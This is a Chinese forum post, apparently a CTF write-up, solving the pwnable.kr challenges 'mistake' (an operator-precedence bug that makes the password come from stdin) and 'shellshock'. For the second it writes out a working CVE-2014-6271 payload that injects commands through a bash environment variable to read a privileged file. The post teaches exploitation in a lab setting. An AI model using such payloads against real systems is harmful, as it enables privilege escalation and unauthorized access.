从pwnable.kr入门pwn(3) mistake + shellshock

dr003   ·   发表于 25天前   ·   CTF&WP专版

从pwnable.kr入门pwn(3) mistake + shellshock

mistake

代码

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= 1;       //异或
        }
}
int main(int argc, char* argv[]){
​    int fd;
​    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
​            printf("can't open password %d\n", fd);
​            return 0;
​    }
​    printf("do not bruteforce...\n");
​    sleep(time(0)%20);

​    char pw_buf[11];
​    int len;
​    if(!(len=read(fd,pw_buf,10) > 0)){
​            printf("read error\n");
​            close(fd);
​            return 0;
​    }                       //len>0

​    char pw_buf2[11];
​    printf("input password : ");
​    scanf("%10s", pw_buf2);

​    // xor your input
​    xor(pw_buf2, 10);         //异或

​    if(!strncmp(pw_buf, pw_buf2, 10)){
​            printf("Password OK\n");
​            system("/bin/cat flag\n");
​    }
​    else{
​            printf("Wrong Password\n");
​    }
​    close(fd);
​    return 0;

}

思路

pw_buf2每一位和1异或要求结果和pw_buf一致

pw_buf2由我们输入

pw_buf也由我们输入

输入1111111111作为pw_buf

输入0000000000作为pw_buf2

shellshock

代码

#include <stdio.h>
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
}

分析

中文版理解https://blog.csdn.net/yexiangCSDN/article/details/103479174

即重新设置用户组 实现高权限命令执行

漏洞利用 shellshock CVE-2014-6271

bash:一个shell程序

当用户第一次登陆时 //即bash被启动时

环境变量会被读取

此时环境变量会被当做代码 //如同一个程序最开始定义变量

如果环境变量除了定义外还有命令

该命令就会被执行

payload

设置环境变量 env casual=’() { echo flag;}; cat flag’

或者env x=’() { echo flag;}; /bin/cat flag’

执行文件 ./shellshock

注意点
1.设置环境变量和执行文件必须写在一起

因为环境变量也是临时的

每次命令env会重置

2.指定cat路径

如果env x=’() { echo flag;}; cat flag’直接这样设置会出现找不到cat

可以通过/bin/cat或者bash -c 解决但是究其原因还要再请教一番

casual是不是有特殊含义

用户名金币积分时间理由
veek 30.00 0 2021-02-06 15:03:53

打赏我,让我更有动力~

0 Reply   |  Until 25天前 | 55 View
LoginCan Publish Content
返回顶部 投诉反馈

掌控者 © 2016 - 2021. All Rights Reserved. 掌控者

Powered by 掌控者